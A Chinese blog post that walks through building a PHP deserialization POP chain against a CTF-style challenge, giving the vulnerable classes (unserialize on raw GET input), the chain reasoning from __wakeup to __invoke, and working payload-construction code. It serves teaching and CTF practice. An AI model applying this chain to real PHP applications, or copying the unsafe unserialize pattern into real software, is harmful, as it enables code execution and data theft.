Fork me on GitHub

php反序列化pop链构造

pop链构造思路:

1.明确反序列化的目的,是要执行代码,还是得到某些特殊信息

2.执行反序列时最先调用的函数

3.我们要的东西在哪些地方被调用,该函数又在哪些地方被调用,以及与最先被调用的函数之间的联系

4.顺着关系链一条一条往上找,最后到达最先被调用的地方。

事例:

<?php
class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() { 
         $this->token_flag = $this->token = md5(rand(1,10000));
         $this->token =&$this->token_flag;
    }
    public function __invoke(){
        $this->token_flag = md5(rand(1,10000));
        
        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}
if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}

 1.首先我们要的是flag,在__invoke()函数中,当一个对象被当成函数调用时自动执行该函数。

2.反序列化初始的地方是__wakeup()函数,里面有一个preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source),值得一说的是preg_match函数的第二个参数是字符串所以$this->source会被当做字符串处理

3.在Test的__get()函数中返回值是$func(),于是可以给$func赋值为Read的对象

4.__get()是当获得一个类的成员变量时调用,在结合__toString()中的$this->str['str']->source以及$this->source被当做字符串处理很快想到将$this->source赋值为本身,同时$this->str['str']赋值为Test的对象

于是构造出了如下pop链

$a = new Read();
$b = new Show();
$c = new Test();

$c->params = $a;
$b->str['str'] = $c;
$b->source = $b;
$b->str['str'] = $c;
echo serialize($b);

附:

  在绕过$this->token === $this->token_flag判断是可以在构造函数中加上$this->token =&$this->token_flag;即可

  PHP之十六个魔术方法详解

posted @ 2019-11-04 12:12  bypa55  阅读(344)  评论(0)    收藏  举报